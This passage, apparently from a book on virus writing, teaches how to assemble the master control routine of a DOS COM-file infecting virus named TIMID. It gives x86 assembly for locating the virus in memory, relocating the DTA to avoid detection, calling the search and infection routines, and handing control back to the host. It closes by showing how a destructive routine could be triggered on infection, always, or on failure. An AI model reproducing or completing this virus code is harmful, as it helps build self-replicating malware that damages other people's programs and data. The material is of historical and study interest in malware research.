Now we have all the tools to write the TIMID virus. All that is necessary is a master control routine to pull everything together. This master routine must:
1) Dynamically determine the location (offset) of the virus in memory.
2) Call the search routine to find a new program to infect.
3) Infect the program located by the search routine, if it found one.
4) Return control to the host program.
To determine the location of the virus in memory, we use a simple trick. The first instruction in the master control routine will look like this:
VIRUS:
COMFILE DB ’*.COM’,0 VIRUS_START:
call GET_START GET_START:
sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS
The call pushes the absolute address of GET_START onto the stack at FFFC Hex (since this is the first instruction of the virus, and the first instruction to use the stack). At that location, we overlay the stack with a word variable called VIR_START. We then subtract the difference in offsets between GET_START and the first byte of the virus, labeled VIRUS. This simple programming trick gets the
absolute offset of the first byte of the virus in the program segment, and stores it in an easily accessible variable.
Next comes an important anti-detection step: The master control routine moves the Disk Transfer Area (DTA) to the data area for the virus using DOS function 1A Hex,
mov dx,OFFSET DTA mov ah,1AH int 21H
This move is necessary because the search routine will modify data in the DTA. When a COM file starts up, the DTA is set to a default value of an offset of 80 H in the program segment. The problem is that if the host program requires command line parameters, they are stored for the program at this same location. If the DTA were not changed temporarily while the virus was executing, the search routine would overwrite any command line parameters before the host program had a chance to access them. That would cause any infected COM program which required a command line parameter to bomb. The virus would execute just fine, and host programs that required no parameters would run fine, but the user could spot trouble with some programs. Temporarily moving the DTA elimi- nates this problem.
With the DTA moved, the main control routine can safely call the search and copy routines:
call FIND_FILE ;try to find a file to infect jnz EXIT_VIRUS ;jump if no file was found call INFECT ;else infect the file EXIT_VIRUS:
Finally, the master control routine must return control to the host program. This involves three steps: Firstly, restore the DTA to its initial value, offset 80H,
mov dx,80H mov ah,1AH int 21H
Next, move the first five bytes of the original host program from the data area START_CODE where they are stored to the start of the host program at 100H,
Finally, the virus must transfer control to the host program at 100H. This requires a trick, since one cannot simply say “jmp 100H” because such a jump is relative, so that instruction won’t be jumping to 100H as soon as the virus moves to another file, and that spells disaster. One instruction which does transfer control to an absolute offset is the return from a call. Since we did a call right at the start of the master control routine, and we haven’t executed the corresponding return yet, executing the ret instruction will both transfer control to the host, and it will clear the stack. Of course, the return address must be set to 100H to transfer control to the host, and not somewhere else. That return address is just the word at VIR_START. So, to transfer control to the host, we write
mov WORD PTR [VIR_START],100H ret
Bingo, the host program takes over and runs as if the virus had never been there.
As written, this master control routine is a little dangerous, because it will make the virus completely invisible to the user when he runs a program... so it could get away. It seems wise to tame the beast a bit when we are just starting. So, after the call to INFECT, let’s just put a few extra lines in to display the name of the file which the virus just infected:
call INFECT
mov dx,OFFSET FNAME ;dx points to FNAME mov WORD PTR [HANDLE],24H ;’$’ string terminator mov ah,9 ;DOS string write fctn int 21H
EXIT_VIRUS:
This uses DOS function 9 to print the string at FNAME, which is the name of the file that was infected. Note that if someone wanted to make a malicious monster out of this virus, the destructive code could easily be put here, or after EXIT_VIRUS, depending on the conditions under which destructive activity was desired. For exam-
ple, our hacker could write a routine called DESTROY, which would wreak all kinds of havoc, and then code it in like this:
call INFECT call DESTROY EXIT_VIRUS:
if one wanted to do damage only after a successful infection took place, or like this:
call INFECT EXIT_VIRUS:
call DESTROY
if one wanted the damage to always take place, no matter what, or like this:
call FIND_FILE jnz DESTROY call INFECT EXIT_VIRUS:
if one wanted damage to occur only in the event that the virus could not find a file to infect, etc., etc. I say this not to suggest that you write such a routine—please don’t—but just to show you how easy it would be to control destructive behavior in a virus (or any other program, for that matter).